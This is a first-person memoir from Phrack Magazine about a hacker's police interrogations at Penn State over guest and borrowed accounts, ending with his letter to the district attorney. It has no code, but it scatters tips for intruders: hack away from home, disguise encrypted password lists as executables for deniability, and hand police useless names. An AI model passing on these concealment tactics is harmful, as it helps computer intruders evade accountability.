When we arrived at the police station, the police left me in a room alone for approximately half an hour. My first response was to check the door of the room. It was unlocked. I checked the barred window, which was locked, but could be an escape if necessary. Then, with nothing to do, I considered my options. I considered getting up and leaving, and saying that I had nothing to discuss with them. This was a sensible option at the outset, I thought, but certainly not sensible now. This was a repetition of

a mistake; I could have stopped talking to them at any time.

Finally, I assumed the lotus position on the table in order to collect my thoughts. When I had almost collected my thoughts, Anne Rego and Sam Ricciotti returned to the room, accompanied by two men I took to be criminals at first glance: a scruffy, corpulent, bearded man I mentally tagged as a public indecency charge; and a young man with the pale and flaccid ill‑health of a veal calf, perhaps a shoplifter. However, the pair was Professor Robert Owens of the computer science department and Daniel Ehrlich, Owens' student flunky.

Professor Owens sent Ehrlich out of the room on some trivial errand. Ricciotti began the grilling. First, he requested

that I sign a document waiving my Miranda rights. He explained that it was as much for my benefit as for theirs. I laughed out loud. However, I thought that as I had done nothing wrong, I should have no fear of talking to them, and I signed the fatal document.

I assumed that what I was going to say would be taken at

face value, and that my innocence was invulnerable armor. Certainly I had made a mistake, but this could be explained, could it not? Despite my avowed radical politics, my fear of authority was surpassed by a trust for apparent sincerity.

As they say, a con's the easiest mark there is.

I readily admitted to collecting guest accounts, as I found nothing culpable in using a guest account, my reasoning being that if a public building had not only been unlocked, but also a door in that building had been clearly marked as for a "Guest," and that door opened readily, then no one would have the gall to arrest someone for trespass, even if other, untouched parts of the building were marked

"No Visitors." Using a 'guest' account is no more computer crime than using a restroom in a McDonald's is breaking‑and‑entering.

Ricciotti continued grilling me, and I gave him further information. I fell prey to the temptation to explain to him what he clearly did not understand. If you are ever in a similar circumstance, do not do so. The opaque ignorance of a police officer is, like a wellconstructed security system, a very tempting challenge to a hacker. However, unlike the security system, the ignorance of a police officer is uncrackable.

If you attempt to explain the Internet to a police officer investigating you for a crime, and the notion of leased WATS lines seems

a simple place to start, it will be seen as evidence of some vast, bizarre conspiracy. The gleam in the cop's eye is not one of comprehension; it is merely the external evidence that a power fantasy is running in the cop's brain. "I," the cop thinks, "will definitely be Cop of the Year! I'm going to find out more about this Internet thing and bust the people responsible."

Perhaps you will be lucky or unlucky enough to be busted by a cop who has some understanding of technical issues. Never having been busted by a computer‑literate cop, I have no opinion as to whether this would be preferable. However, having met more cops than I care to remember, I can tell you that the chances are slim that you will meet a cop capable of tying shoelaces in the morning. The chances of meeting a cop capable of understanding the Internet are nearly nonexistent.

Apparently, this is changing, but by no means as rapidly

as the volatile telecommunications scene. At present, the cop who busts you might have a Mac hooked up to NCIC and be able to use it clumsily; or may be able to cope with the user interface of a BBS, but don't bother trying to explain anything if the cop doesn't understand you.

If the cop understands you, you have no need to explain; if not, you are wasting your time. In either case, you are giving the police the rope they need to hang you.

You have nothing to gain by talking to the police. If you are not under arrest, they can do nothing to you if you refuse to speak to them. If you must speak to them, insist on having an attorney present. As edifying as it is to get a first‑hand glimpse of the entrenched ignorance of the lawenforcement community, this is one area of knowledge where book‑learning is far preferable to hands‑on experience. Trust me on this one.

If you do hack, do not use your personal computing equipment and do not do it from your home. To do so is to invite them to confiscate every electronic item in your house from your telephone to your microwave. Expert witnesses are willing to testify that anything taken could be used for illegal purposes, and they will be correct.

Regardless of what they may say, police have no authority to offer you anything for your cooperation; they have the power to tell the magistrate and judge that you cooperated. This and fifty cents will get you a cup of coffee.

Eventually, the session turned into an informal debate with Professor Owens, who showed an uncanny facility for specious argument and proof by rephrasing and repeating. The usual argument ensued, and I will encapsulate rather than include it in its entirety.

"If a bike wasn't locked up, would that mean it was right to steal it or take it for a joyride?"

"That argument would hold if a computer were a bike; and if the bike weren't returned when I was done with it; and if, in fact, the bike hadn't been in the same damn place the whole time you assert it was stolen."

"How do you justify stealing the private information of others?"

"For one thing, I didn't look at anyone's private information.

In addition, I find the idea of stealing information so grotesque as to be absurd. By the way, how do you justify working for Penn State, an institution that condoned the illegal sale of the Social Security Numbers of its students?"

"Do you realize what you did is a crime?" interjected Ricciotti.

"No, I do not, and after reading this law you've shown me, I still do not believe that what I did violates this law. Beyond that, what happened to presumed innocent until proven guilty?"

The discussion continued in a predictable vein for about two hours, when we adjourned until the next day. Sam sternly advised me that as this was a criminal investigation in progress, I was not to tell anyone anything about it. So, naturally, I immediately told everyone I knew everything I knew about it.

With a rapidly mounting paranoia, I left the grim, cheerless interrogation room and walked into the bustle of an autumn day

at Penn State, feeling strangely separate from the crowd around me, as if I had been branded with a scarlet 'H.'

I took a circuitous route, often doubling back on myself, to detect tails, and when I was sure I wasn't being followed, I headed straight for a phone booth to call the Electronic Music Lab.

The phone on the other end was busy. This could only mean one thing, that Dale was online. His only crime was that he borrowed an account from the legitimate user, and used the Huang account

at the Engineering Computer Lab, but I realized after my discussion with the police that they would certainly not see the matter as

I did.

I realized that the situation had the possibility to erupt into

a very ugly legal melee. Even before Operation Sun‑Devil, I realized that cops have a fondness for tagging anything a conspiracy

if they feel it will garner headlines. I rushed to the Lab.

V. A Desperate Conference

"Get off the computer now! I've been busted!"

"This had better not be a goddamn joke."

He rapidly disconnected from his session and turned off the computer. We began to weigh options. We tried to figure out the worst thing they could do to me. Shortly, we had a list of possibilities. The police could jail me, which seemed unlikely. The police could simply forget about the whole thing, which seemed very unlikely. Anything between those two poles was possible. Anything could happen, and as I was to find, anything would. We planned believing that it was only

I who was in jeopardy.

If you are ever busted, you will witness the remarkable migration habits of the fair‑weather friend. People who yesterday had nothing better to do than sit around and drink your wine will suddenly have pressing duties elsewhere.

If you are lucky, perhaps half a dozen people will consent to speak to you. If you are very lucky, three of them will be willing to be seen with you in public.

Very shortly the police would begin going after everyone I knew for no other reason than that they knew me. I was very soon to be given yet another of the blessings accorded to those in whom the authorities develop an interest.

I would discover my true friends.

I needed them.

VI. The Second Interrogation

I agreed to come in for a second interview.

At this interview, I was greeted by two new cops. The first cop, with the face of an unsuccessful pugilist, was Jeffery Jones.

I detested him on sight.

The second, older cop, with brown hair and a mustache, was Wayne Weaver, and had an affable, but stern demeanor, somewhat reminiscent of a police officer in a fifties family sitcom.

As witness to this drama, a battered tape recorder sat between us on the wooden table. In my blithe naivete, I once again waived my Miranda rights, this time on tape.

The interview began with a deranged series of accusations by Jeffery Jones, in which were combined impossibilities, implausibilities, inaccuracies and incongruities. He accused me of everything

from international espionage to electronic funds transfer. Shortly he exhausted his vocabulary with a particularly difficult two‑syllable word and lapsed into silence.

Wayne filled the silence with a soft‑spoken inquiry, seemingly irrelevant to the preceding harangue. I answered, and we began

a more sane dialogue.

Jeffery Jones remained mostly silent. He twiddled his thumbs, studied the intricacies of his watch, and investigated the gum stuck under the table. Occasionally he would respond to a factual statement by rapidly turning, pounding the table with his fists and shouting: "We know you're lying!"

Finally, after one of Jeffery's outbursts, I offered to terminate the interview if this silliness were to continue. After a brief consultation with Wayne, we reached an agreement of sorts and Jeff returned to a dumb, stony silence.

I was convinced that Wayne and Jeff were pulling the good cop/bad cop routine, having seen the mandatory five thousand hours of cop shows the Nielsen people attribute to the average American. This was, I thought, standard Mutt and Jeff. I was to change my opinion. This was not good cop/bad cop. It was smart cop/dumb cop. And, more frighteningly, it was no act.

After some more or less idle banter, and a repetition of my previous story, and a repetition of my refusal to answer certain other questions, the interrogation began to turn ugly.

Frustrated by my refusal to answer, he suddenly announced that he knew I was involved in a conspiracy, and made an offer to go easy on me if I would tell him who else was involved in the conspiracy.

I refused point‑blank, and said that it was despicable of him to request that I do any such thing. He began to apply pressure and I will provide a reconstruction of the conversation. As the police have refused all requests by me to receive transcripts of interviews, evidence and information regarding the case, I am forced to rely on memory.

"These people are criminals. You'd be doing the country a service by giving us their names."

"What people are criminals? I don't know any criminals."

"Don't give me that. We just want their names. We won't do anything except ask them for information."

"Yeah, sure. Like I said, I don't know any criminals. I'm not a criminal, and I won't turn in anyone for your little witch‑hunt, because I don't know any criminals, and I'd be lying if I gave you any names."

"You're not going to protect anyone. We'll get them anyway."

"If you're going to get them, you don't need my help."

"We won't tell anyone that you told them about us."

"Fuck that. I'll know I did it. How does that affect the morality of it, anyway?"

Dropping the moral argument, he went to the emotional argument:

"If you help us, we'll help you. When you won't help us, you stand alone. Those people don't care about you, anyway."

"What people? I don't know any people."

"Just people who could help us with our investigation. It doesn't mean that they're criminals."

"I don't know anything about any criminals I said."

"In fact, one of your friends turned you in. Why should you take this high moral ground when you're a criminal anyway, and they'd do the same thing to you if they were in the situation you're in. You just have us now, and if you won't stand with us, you stand alone."

"I don't have any names. And no one I knew turned me in."

This tactic, transparent as it was, instilled a worm of doubt in my mind. That was its purpose.

This is the purpose of any of the blandishments, threats and lies that the police will tell you in order to get names from you. They will attempt to make it appear as if you will not be harming the people you tell them about. Having been told that hackers are just adolescent pranksters who will crack like eggs at the slightest pressure and cough up a speech of tearful remorse and hundreds of names, they will be astonished at your failure to give them names.

I will here insert a statement of ethics, rather than the merely practical advice which I have heretofore given. If you crack at the slightest pressure, don't even bother playing cyberpunk. If

your shiny new gadget with a Motorola 68040 chip and gee‑whiz lightning Weitek math co‑processor is more important to you than the lives of your friends, and you'd turn in your own grandmother rather than have it confiscated, please fuck off. The computer underground does not need you and your lame calling‑card and access code rip‑offs. Grow up and get a job at IBM doing the same thing a million

other people just like you are doing, buy the same car a million other people just like you have, and go to live in the same suburb that a million other people like you call home, and die quietly at an old age in Florida. Don't go down squealing like a pig, deliberately and knowingly taking everyone you know with you.

If you run the thought‑experiment of imagining yourself in this situation, and wondering what you would do, and this description seems very much like what meets you in the bathroom mirror, please stop hacking now.

However, if you feel you must turn someone in to satisfy the cops, I can only give the advice William S. Burroughs gives in _Junky_ to those in a similar situation: give them names they already have, without any accompanying information; give them the names of people who have left the country permanently. Be warned, however, that giving false information to the police is a crime; stick to true, but entirely useless information.

Now, for those who do not swallow the moral argument for not finking, I offer a practical argument. If you tell the police about others you know who have committed crimes, you have admitted

your association with criminals, bolstering their case

against you. You have also added an additional charge against yourself, that of conspiracy. You have fucked over the very friends you will sorely need for support in the near future, because the investigation will drag on for months, leaving your life in a shambles. You will need friends, and if you have sent

them all up the river, you will have none. Worse, you will deserve it. You have confessed to the very crimes you

are denying, making it difficult for you to stop giving them names if you have second thoughts. They have the goods on you.

In addition, any offers they make if you will give them names are legally invalid and non‑binding. They can't do jack‑shit for you and wouldn't if they could. The cop mind is still a human mind, and there is nothing more despicable to the human mind than a traitor.

Do not allow yourself to become something that you can not tolerate being. Like Judas, the traitor commits suicide both figuratively and literally.

I now retire from the soapbox and return to the confessional.

My motives were pure and my conscience was clean. With a sense of self‑righteousness unbecoming in a person my age, I assumed that my integrity was invulnerability, and that my refusal to give them any names was going to prevent them from fucking over my friends.

I had neglected to protect my email. I had not encrypted my communications. I had not carefully deleted any incriminating information from my disks, and because of this I am as guilty

as the people who blithely rat out their friends. I damaged

the lives of a number of people by my carelessness, a number of people who had more at stake than I had, and all my good intentions were not worth a damn. I had one encrypted file, that a list

of compromised systems and account names, and that was DES encrypted with a six‑character alphanumeric.

As I revelled in my self‑righteousness, Dan Ehrlich and Robert Owens arrived with a two‑foot high pile of hardcopy on which was printed every file on my PSUVM accounts, including at least a year of email and all my posts to the net, including those in groups such as alt.drugs, and articles by other people.

Wayne assumed that any item on the list, even saved posts from other people, was something that had been sent to me personally by its author, and that these people were, thus, involved in some vast conspiracy. While keeping the printed email out of my sight, he began listing names and asking me for information about that person. I answered, for every person, that I knew nothing about that person except what they knew. He asked such questions as "What is Emily Postnews' real name, and how is she involved in the conspiracy?"

Ehrlich and Owens had conveniently disappeared, so I couldn't expect them to explain the situation to Wayne; and had, myself, given up any attempt to explain, realizing that anything I said would simply reinforce the cops' paranoid conspiracy theories. By then, I was refusing to answer practically every question put to me, and finally realized I was outgunned. When I had arrived, I was puffed up with bravado and certain that I could talk my way out of this awful situation. Having made rather a hash of it as a hacker, I resorted to my old standby, my tongue, with which I had been able to escape any previous situation. However, not only had I not talked my way out of being busted, I had talked my way further into it.

If you believe, from years of experience at social engineering, that you will be able to talk your way out of being busted, I wish you luck; but don't expect it to happen. If you talk with the police, and you are not under arrest at the time, expect that one or two of your sentences will be able to be taken out of context and used as a justification for issuing an arrest warrant. If you talk with the police and you are under arrest, the Miranda statement: "Anything you say can and will be held against you in a court of law," is perhaps the only true statement in that litany of lies.

In any case, my bravado had collapsed. I still pointedly

called the cops "Wayne" and "Jeff," but otherwise, resorted to repeating mechanically that I knew nothing about nothing.

Owens and Ehrlich returned, and announced that they had discovered an encrypted file on my account, called holy.nodes. I bitterly regretted the flippant name, and the arrogance of keeping such a file.

If you must have an encrypted list of passwords and accounts sitting around, at least give it a name that makes it seem like some sort of executable, so that you have plausible deniability.

They assured me that they could decrypt it within six hours on a Cray Y‑MP to which they had access. I knew that the Computer Science Department had access to a Cray at the John von Neuman Computer Center. I made a brief attempt to calculate the rate of brute‑force password cracking on a Cray and couldn't do it in my head. However, as the password was only six alphanumeric characters, I realized that it was quite possible that it could be cracked. I believe now that I should have called their bluff, but I gave them the key, yet another in a series of stupid moves.

Shortly, they had a list of computer sites, accounts and passwords, and Wayne began grilling me on those. Owens was livid when he noted that a machine at Lawrence‑Berkeley Labs, shasta.lbl.gov, was in the list. This was when my trouble started.

You might recall that Lawrence‑Berkeley Labs figures prominently in Clifford Stoll's book _The Cuckoo's Egg_. The Chaos Computer Club had cracked a site there in the mistaken belief that it was LawrenceLivermore. As it happens, I had merely noticed a guest account there, logged in and done nothing further. Of course, this was too simple an explanation for a cop to believe it.

Owens had given the police a tiny bit of evidence to support the bizarre structure of conspiracy theories they had built; and a paranoid delusion, once validated in even the most inconsequential manner, becomes unshakably firm.

Wayne returned to the interrogation with renewed vigor. I continued giving answers to the effect that I knew nothing. He came to the name of Raymond Gary [*], who had generously allowed me to use an old account on PSUVM, that of a friend of his who had left the area. I attempted to assure them of his innocence. This was another bad move.

It was a bad move because this immediately reinforces the conspiracy theory, and the cops wish to have more information on that person. I obfuscated, and returned to the habit of repeating: "Not to the best of my recollection," as if I were in the Watergate hearings.

Another name surfaced, that of a person who had allowed me to use his account because our respective machines could not manage a tolerable talk connection. This person, without his knowledge, joined the conspiracy. Once again, I foolishly tried to explain the situation. This simply made it worse, as the cop did not understand a word

I was saying; and Owens was incapable of appreciating the difference between violating the letter of the law and the spirit of the law.

Wayne repeatedly asked about my overseas friends, informed me that he knew there were foreign governments involved, again told me that a friend of mine had informed on me. I was told lies so outrageous that I hesitate to put them on paper. I denied everything.

I made another lengthy attempt at explanation, trying to defuse the conspiracy theory, and gave a speech on the difference between breaking into someone's house and ripping off everything there, voyeuristically spying on people, and temporarily borrowing an account simply to talk to someone because a network link was not working. I made an analogy between this and asking someone who is driving a corporate vehicle to give a jump to a disabled vehicle, and tried to explain that this was certainly not the same as if the authorized user of the corporate vehicle had simply handed a passerby the keys. I again attempted to explain the Internet, leased lines, the difference between FTP and mail, why everyone on the Internet allowed anyone else to transfer files from, to and through their machines, and once again failed to explain anything.

Directly following this tirade, delivered almost at a shout, Wayne leaned over the desk and asked me: "Who's Bubba?"

This was too much to tolerate. My ability to take the situation seriously, already very shaky, simply vanished in the face of this absurdity. I lost it entirely. I laughed hysterically.

I asked, my anger finally getting the better of my amusement: "What the fuck kind of question is that?"

He repeated the question, not appreciating the humor inherent in this absurd contretemps; I was beyond trying to maintain the appearance of solemnity. Everything, the battered table, the primitive

tape recorder, the stony‑faced cops, the overweight computer security guys, seemed entirely empty of meaning. I could no longer accept as real that I was in this dim room with a person asking me the question: "Who's Bubba?"

I said: "I have no idea. You tell me."

Finally, Wayne came to Dale's name. Dale did not use his last name in any of the email he had sent to me, and I hoped that his name was not in any file on any machine anywhere. I recovered some of my equilibrium, and refused to answer.

A number of references to "lab supplies" were made in the email, and I was questioned as to the meaning of this phrase. I answered that it simply meant quarter‑inch reels of tape for music. They refused to accept this explanation, and accused me of running a drug ring over the computer network.

Veiled threats, repetitions of the question, rephrasings of it, assurances that they were going to get everyone anyway, and similar cop routines followed.

Finally, having had altogether too much of this nonsense, I

said: "This interview's over. I'm leaving." As simply as that, and as quickly, I got up and left. I wish I could say that I did not look back, but I did glance over my shoulder as I left.

"We'll be in touch," said Wayne.

"Yeah, sure," I said.

VII. Thirty Pieces of Silver

I informed Dale of the ominous turn in the investigation, and told him that the cops were now looking for him. From a sort of fatalistic curiosity, we logged into Shamir's account to watch the activities of the computer security guys, and to confer with some of their associates to find out what their motivations might be. We had decided that the possibility of a wiretap was slim, and that if there were a wiretap, we were doomed anyway, so what the hell?

There is no conclusive evidence that there was a wiretap, but

the police would not have needed a warrant to tap university phones, as they are on a private branch exchange, which does

not qualify for legal protection. In addition, one bit of circumstantial evidence strikes me as indicative of the possibility of a wiretap, that being that when Dale called Shamir to explain the situation, and left a message in his voice mail box, the message directly following Dale's was from Wayne.

We frequented the library, researching every book dealing with the subject of computer crime, reading the Pennsylvania State Criminal Code, photocopying and transcribing important texts, and compiling a disk of information relevant to the case, including any information that someone "on the outside" would need to know if we were jailed.

I badly sprained my ankle in this period, but walked on it for three miles, and it was not until later in the night that I even realized there was anything wrong with it, so preoccupied was I by the bizarre situation in which I was embroiled. In addition, an ice storm developed, leaving a thin layer of ice over sidewalks, roads and the skeletal trees and bushes. I must have seemed a ridiculous figure hobbling across the ice on a cane, looking over my shoulder every few seconds; and attempting to appear casual whenever a police car passed.

It seemed that wherever I went, there was a police car which slowed to my pace, and it always seemed that people were watching me. I tried to convince myself that this was paranoia, that not everyone could be following me, but the feeling continued to intensify, and I realized that I had adopted the mentality of the cops,

that we were, essentially, part of the same societal process; symbiotic and necessary to each other's existence. The term 'paranoia' had no meaning when applied to this situation; as there were, indeed, people out to get me; people who were equally convinced that I was out to get them.

I resolved to accept the situation, and abide by its unspoken rules. As vast as the texts are which support the law, there is another entity, The Law, which is infinite and can not be explained in any number of words, codes or legislation.

Dale and I painstakingly weighed our options.

Finally, Dale decided that he was going to contact the police, and called a friend of his in the police department to ask for assistance in doing so, Stan Marks [*], who was also an electronic musician. On occasion, Stan would visit us in the Lab, turning off his walkietalkie to avoid the irritation of the numerous trivial assignments which comprise the day‑to‑day life of the university cop.

After conferring with Stan, he decided simply to call Wayne and Jeff on the phone to arrange an interview.

I felt like shit. The repercussions of my actions were spreading like ripples on a pond, and were to disrupt the lives of several of my dearest friends. At the same time, I was enraged. How

dare they do this? What had I done that warranted this torturous and ridiculous investigation? Wasn't this investigation enough of a punishment just in and of itself?

I wondered how many more innocent people would have to be fucked over before the police would be satisfied, and wondered how many innocent people, every day, are similarly fucked over in other investigations. How many would it take to satisfy the cops?

The answer is, simply, every living person.

If you believe that your past, however lily‑white, would withstand the scrutiny of an investigation of several months' duration, with every document and communication subjected to minute investigation, you are deluding yourself. To the law‑enforcement mentality, there are no innocent people. There are only undiscovered criminals.

Only if we are all jailed, cops and criminals alike, will the machinery lie dormant, to rust its way to gentle oblivion; and only then will the ruins be left undisturbed for the puzzlement of future archaeologists.

With these thoughts, I waited as Dale went to the police station, with the realization that I was a traitor by inaction, by having allowed this to happen.

I was guilty, but this guilt was not a matter of law. My innocent actions were those which were to be tried.

If you are ever busted, you will witness this curious inversion of morality, as if by entering the world of cops you have walked through a one‑way mirror, in which your good actions are suddenly and arbitrarily punished, and the evil you have done is rewarded.

VIII. Third and Fourth Interrogations

I waited anxiously for Dale to return from his meeting. He had brought with him a professional tape recorder, in order to tape the interview. The cops were rather upset by this turn

of events, but had no choice but to allow him to tape. While they attempted to get their tape recorder to work, he offered to loan them a pair of batteries, as theirs were dead.

The interrogation followed roughly the same twists and turns as mine had, with more of an emphasis on the subject of "lab supplies." Question followed question, and Dale insisted that his actions were innocent.

"Hell, if we'd have had a couple of nice women, none of this would even have happened," he said.

When asked about the Huang account that Ron Gere had created for him, he explained that Huang was a nom‑de‑plume, and certainly not an alias for disguising crime.

The police persisted, and returned to the subject of "lab supplies", and finally declared that they knew Dale and I were dealing in some sort of contraband, but that they would be prepared to offer leniency if he would give them names. Dale was adamant in his refusal.

Finally, they said that they wanted him to make a drug buy for them.

"Well, you'll have to introduce me to someone, because I sure don't know anyone who does that kind of stuff."

Eventually, they set an appointment with him to speak with Ron Schreffler, the university cop in charge of undercover narcotics investigations.

He called to reschedule the appointment a few days later, and then, eventually, cancelled it entirely, saying: "I have nothing to talk to him about."

Finally, they ceased following this tack, realizing that even in Pennsylvania pursuing an entirely fruitless avenue of investigation is seen very dimly by their superiors. The topic of "lab supplies" was never mentioned again, and certainly not in the arrest warrant affidavit, as we were obviously innocent of any wrongdoing in that area.

Warning Dale not to leave the area, they terminated the interview.

Shortly thereafter, there was a fourth and final interview, with Dale and I present. We discussed nothing of any significance, and it was almost informal, as if we and the cops were cronies of some sort. Only Jeffery Jones was excluded from this circle, as he was limited largely to monosyllabic grunts and wild, paranoid accusations. We discovered that Wayne Weaver was a twenty‑three year veteran, and it struck me that if I had met him in other circumstances I could have found him quite likable. He was, if nothing else, a professional, and acted in a professional manner even when he was beyond his depth in the sea of information which Dale and I navigated with ease.

I felt almost sympathetic toward him, and wondered how it was for him to be involved in a case so complex and bizarre. I still failed to realize why he was acting toward us as he was, and realized that he, similarly, had no idea what to make of us, who must have seemed to him like remorseless, arrogant criminals. Unlike my prejudiced views of what a police officer should be, Wayne was a competent, intelligent man doing the best he could in a situation beyond his range of experience, and tried to behave in a conscientious manner.

I feel that Wayne was a good man, but that the very system

he upheld gave him no choice but to do evil, without realizing it. I am frustrated still by the fact that no matter how much we could discuss the situation, we could never understand each other in fullness, because our world‑views were so fundamentally different. Unlike so many of the incompetent losers and petty sadists who find police work a convenient alternative to criminality, Wayne was that rarity, a good cop.

Still, without an understanding of the computer subculture, he could not but see anything we might say to explain it to him as anything other than alien and criminal, just as a prejudiced American finds a description of the customs of some South Sea tribe shocking and bizarre. Until we realize what underlying assumptions we share with the rest of society, we shall be divided, subculture from culture, criminals from police.

The ultimate goal of the computer underground is to create the circumstances which will underlie its own dissolution, to enable the total and free dissemination of all information, and thus to destroy itself by becoming mainstream. When everyone thinks nothing of doing in daylight what we are forced to do under cover of darkness, then we shall have succeeded.

Until then, we can expect the Operation Sun‑Devils to continue, and the witch‑hunts to extend to every corner of cyberspace. The public at large still holds an ignorant dread of computers, having experienced oppression by those who use computers as a tool of secrecy and intrusion, having been told that they are being audited by the IRS because of "some discrepancies in the computer," that their paycheck has been delayed because "the computer's down," that they can't receive their deceased spouse's life‑insurance benefits because "there's nothing about it in the computer." The computer has become both omnipresent and omnipotent in the eyes of many, is blamed by incompetent people for their own failure, is used

to justify appalling rip‑offs by banks and other major social institutions, and in addition is not understood at all by the majority of the population, especially those over thirty, those who comprise both the law‑enforcement mentality and aging hippies, both deeply distrustful of anything new.

It is thus that such a paradox would exist as a hacker, and if

we are to be successful, we must be very careful to understand the difference between secrecy and privacy. We must understand the difference between freedom of information and freedom from intrusion. We must understand the difference between invading the inner sanctum of oppression and voyeurism, and realize that even in our finest hours we too are fallible, and that in negotiating these finely‑hued gray areas, we are liable to

lose our path and take a fall.

In this struggle, we can not allow a justifiable anger to become hatred. We can not allow skepticism to become nihilism. We can not allow ourselves to harm innocents. In adopting the

intrusive tactics of the oppressors, we must not allow ourselves to perform the same actions that we detest in others.

Perhaps most importantly, we must use computers as tools to serve humanity, and not allow humans to serve computers. For the non‑living to serve the purposes of the living is a good and necessary thing, but for the living to serve the purposes of

the non‑living is an abomination.

My Bust (Part II)

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 13 of 27

[My Bust Continued]

IX. Consultations

Dale and I began to consider options in our battle against this senseless investigation. We spent many nights pondering the issue, and arrived at a number of conclusions.

Since we had already talked to the police, and were rapidly realizing what a vast error that had been, we wondered how it was possible to sidestep, avoid or derail the investigation. We hoped that Ron Gere and others would not be held accountable for my actions, a wish that was to be denied.

A great deal of resentment existed toward me in those whose lives were affected, and I would be either an idiot or a liar to deny that my actions affected many people, in many places, some of whom I had never even met in person. However, I was unable to do anything for many of these people, so I concentrated largely on my own survival and that of those near me.

Dale and I decided, eventually, that the only person who could claim any real damage was Dhamir Mannai, and we arranged an appointment with him to discuss what had happened.

We met in his book‑lined office in the Electrical Engineering Office, and shook hands before beginning a discussion. I explained what I had done, and why I had done it, and apologized for any damages that had occurred. Dale, similarly, excused my actions, and while he had nothing to do with them, noted that he was under investigation as well.

We offered to help repair the /etc/groups file which I had damaged, but due to the circumstances, it is understandable that he politely declined our offer.

Dhamir was surprisingly sympathetic, though justifiably angered. However, after about a half hour of discussion, he warmed from suspicion to friendliness, and after two hours of discussion he offered to testify for us against the police, noting that he had been forced on two previous occasions to testify against police. He held a very dim

view of the investigation, and noted that "The police have bungled the case very badly." Dhamir, in fact, was so annoyed by the investigation that he called Wayne that night to object to it. He made it clear that he intended to oppose the police.

The next night, as Dale and I were entering the Music Building, a police cruiser came to a sudden stop in the parking lot and Wayne walked up to us with a perturbed expression.

Without pausing for greetings, he informed us that he was now considering filing additional charges against us for "Tampering with Witnesses," without identifying the witness. In his eyes, the legality of restraining our actions and speech based on hypothetical and unfiled charges was not relevant; and he was angry that a primary witness had been rendered useless to him.

Finally, we talked more informally. Genuinely curious about his motivations, we asked him about the investigation and what turns could be expected in the future. Realizing that the investigation had entered a quiescent stage and we would not likely meet again until court, we talked with him.

Dale said "So let me get this straight. They saddled the older, more experienced cop with the recruit?"

Wayne didn't answer, but nodded glumly.

"What's this like for you?" I asked.

"Well, I have to admit, in my twenty‑three years on the force, this case is the biggest hassle I've ever had."

"I can see why," said Dale.

"I almost wish you had been in charge of this case, instead of that goof Jeff," I said.

"Yes, he's too jumpy," said Dale. "Like an Irish Setter with a gun."

"Well, if I'd been in charge of this case," Wayne said, "it would have been down the pike a long time ago."

After more discussion of this sort, Wayne's walkie‑talkie burst into cop chatter.

"We have three men, throwing another man, into a dumpster, behind Willard," the voice said.

"I guess this means you have to leave, Wayne," said Dale.

Wayne looked embarrassed. We exchanged farewells.

Another very helpful person was Professor Richard Devon,

of the Science, Technology and Science department of Penn State. We read an article he wrote on the computer underground which, while hardly condoning malicious hacking, certainly objected to the prevailing witch‑hunt mentality. We contacted him to discuss the case.

He offered to provide testimony in our behalf, and informed us of the prevailing attitudes of computer security professionals at Penn State and elsewhere. He corroborated our belief that the vendetta against us was largely due to the fact that we had embarrassed Penn State, and that the intensity of the investigation was also largely due to fallout from the Morris Worm incident.

The fact that he was on the board of directors for the Engineering Computer Lab increased the value of his testimony. We were expecting damaging testimony from Bryan Jensen of ECL.

He was friendly and personable, and we talked for several hours.

While there was nothing he could do until the time came to give testimony, it was very gratifying to find two friends and allies in what we had thought was a hostile camp.

Our feeling of isolation and paranoia began to dwindle, and we began to feel more confident about the possible outcome of the investigation.

X. Going Upstairs

With a new‑found confidence, we decided to see if it were possible to end this investigation entirely before charges were filed and it became a criminal prosecution.

Dale called the Director of Police Services with the slim hope that he had no knowledge of this investigation and might intervene to stop it. No dice.

Dale and I composed a letter to the district attorney objecting to the investigation, also in the hopes of avoiding the prosecution of the case. I include the letter:

Dear Mr. Gricar:

We are writing to you because of our concerns regarding an investigation being conducted by the Pennsylvania State University Department of University Safety with respect to violations of Pa.C.S.A. tilde 3933 (Unlawful Use of Computer) alleged to us. We have enclosed a copy of this statute for your convenience.

Despite recommendations from NASA security officials and concerned members of the professional and academic computing community that we file suit against the Pennsylvania State Universities, we have tried earnestly to accommodate this investigation.

We have cooperated fully with Police Services Officers Wayne Weaver and Jeffrey Jones at every opportunity in this unnecessary eight‑week investigation. However, rather than arranging for direct communication between the complaining parties and us to make it possible to make clear the nature of our activities, the University Police have chosen to siphon information to these parties in an easily‑misinterpreted and secondhand manner. This has served only to obscure the truth of the matter and create confusion, misunderstanding and inconvenience to all involved.

The keen disappointment of the University Police in finding that we have not been involved in espionage, electronic funds transfer or computer terrorism appears to have finally manifested itself in an effort to indict us for practices customary and routine among faculty and students alike. While we have come to realize that activities such as using a personal account with the permission of the authorized user may constitute a violation of an obscure and little‑known University policy, we find it irregular and unusual that such activities might even be considered a criminal offense.

The minimal and inferential evidence which either will

or has already been brought before you is part of a preposterous attempt to shoehorn our alleged actions into the jurisdiction of a law which lacks relevance to a situation of this nature.

We have found this whole affair to be capricious and arbitrary, and despite our reasonable requests to demonstrate and display our activities in the presence of computer‑literate parties and with an actual computer, they have, for whatever reasons, denied direct lines of communication which could have enabled an expeditious resolution to this problem.

This investigation has proceeded in a slipshod manner, rife with inordinate delays and intimidation well beyond that justified by an honest desire to discern the truth. While certain evidence may appear to warrant scrutiny, this evidence is easily clarified; and should the District Attorney's office desire, we would be pleased to provide a full and complete accounting of all our activities at your convenience and under oath.

In view of the judicial system being already overtaxed by an excess of important and pressing criminal cases, we would like to apologize for this matter even having encroached on your time.

Sincerely yours,

Dale Garrison

Robert W. F. Clark

This letter had about as much effect as might be imagined, that is to say, none whatever.

My advice from this experience is that it is very likely that you will be able to find advice in what you might think to be a hostile quarter. To talk to the complaining party and apologize for any damage you might have caused is an excellent idea, and has a possibility of getting the charges reduced or perhaps dropped entirely.

Simply because the police list a person as a complaining party does not necessarily mean that the person necessarily approves of, or even has knowledge of, the police proceedings. In all likelihood, the complaining parties have never met you, and have no knowledge of what your motivations were in doing what you did. With no knowledge of your motives, they are likely to attribute your actions to malice.

If there are no demonstrable damages, and the person is sympathetic, you may find an ally in the enemy camp. Even if you have damaged a machine, you are in a unique position to help repair it, and prevent further intrusion into their system.

Regardless of the end result, it can't hurt to get some idea of what the complaining parties think. If you soften outright hostility and outrage even to a grudging tolerance, you have improved the chance of a positive outcome.

While the police may object to this in very strong terms, and make dire and ambiguous threats, without a restraining order of some kind there is very little they can do unless you have bribed or otherwise offered a consideration for testimony.

